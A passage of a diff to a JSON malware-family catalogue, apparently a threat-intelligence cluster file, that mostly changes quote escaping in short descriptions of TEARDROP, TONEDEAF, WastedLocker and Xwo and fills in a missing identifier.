"https://malpedia.caad.fkie.fraunhofer.de/details/win.sharpstage",
@ -30111,7 +30104,7 @@
"value": "TeamSpy"
},
{
"description": "TEARDROP is a memory only dropper that runs as a service, spawns a thread and reads from the file \u201cgracious_truth.jpg\u201d, which likely has a fake JPG header. Next it checks that HKU\\SOFTWARE\\Microsoft\\CTF exists, decodes an embedded payload using a custom rolling XOR algorithm and manually loads into memory an embedded payload using a custom PE-like file format. TEARDROP does not have code overlap with any previously seen malware. FireEye believe that this was used to execute a customized Cobalt Strike BEACON.",
"description": "TEARDROP is a memory only dropper that runs as a service, spawns a thread and reads from the file “gracious_truth.jpg”, which likely has a fake JPG header. Next it checks that HKU\\SOFTWARE\\Microsoft\\CTF exists, decodes an embedded payload using a custom rolling XOR algorithm and manually loads into memory an embedded payload using a custom PE-like file format. TEARDROP does not have code overlap with any previously seen malware. FireEye believe that this was used to execute a customized Cobalt Strike BEACON.",
"meta": {
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.teardrop",
@ -30664,7 +30657,7 @@
"value": "Tofsee"
},
{
"description": "TONEDEAF is a backdoor that communicates with Command and Control servers using HTTP or DNS. Supported commands include system information collection, file upload, file download, and arbitrary shell command execution. When executed, this variant of TONEDEAF wrote encrypted data to two temporary files \u2013 temp.txt and temp2.txt \u2013 within the same directory of its execution.",
"description": "TONEDEAF is a backdoor that communicates with Command and Control servers using HTTP or DNS. Supported commands include system information collection, file upload, file download, and arbitrary shell command execution. When executed, this variant of TONEDEAF wrote encrypted data to two temporary files – temp.txt and temp2.txt – within the same directory of its execution.",
"meta": {
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.tonedeaf",
@ -31542,7 +31535,7 @@
"synonyms": [],
"type": []
},
"uuid": "",
"uuid": "498a794c-64f9-4337-ac71-a3ff3cb53c68",
"value": "win.unidentified_059"
},
{
@ -32375,7 +32368,7 @@
"value": "WannaRen Ransomware"
},
{
"description": "WastedLocker is a ransomware detected to be in use since May 2020 by EvilCorp. The ransomware name is derived from the filename that it creates which includes an abbreviation of the victim\u2019s name and the string \u2018wasted\u2019. WastedLocker is protected with a custom crypter, referred to as CryptOne by Fox-IT InTELL. On examination, this crypter turned out to be very basic and was used also by other malware families such as: Netwalker, Gozi ISFB v3, ZLoader and Smokeloader. The crypter mainly contains junk code to increase entropy of the sample and hide the actual code.",
"description": "WastedLocker is a ransomware detected to be in use since May 2020 by EvilCorp. The ransomware name is derived from the filename that it creates which includes an abbreviation of the victim’s name and the string ‘wasted’. WastedLocker is protected with a custom crypter, referred to as CryptOne by Fox-IT InTELL. On examination, this crypter turned out to be very basic and was used also by other malware families such as: Netwalker, Gozi ISFB v3, ZLoader and Smokeloader. The crypter mainly contains junk code to increase entropy of the sample and hide the actual code.",
"meta": {
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.wastedlocker",
@ -33203,7 +33196,7 @@
"value": "X-Tunnel (.NET)"
},
{
"description": "In March 2019, AT&T Alien Labs identified a new malware family that is actively scanning for exposed web services and default passwords. Based on our findings we are calling it \u201cXwo\u201d - taken from its primary module name. It is likely related to the previously reported malware families Xbash and MongoLock.",
"description": "In March 2019, AT&T Alien Labs identified a new malware family that is actively scanning for exposed web services and default passwords. Based on our findings we are calling it “Xwo” - taken from its primary module name. It is likely related to the previously reported malware families Xbash and MongoLock.",
"meta": {
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.xwo",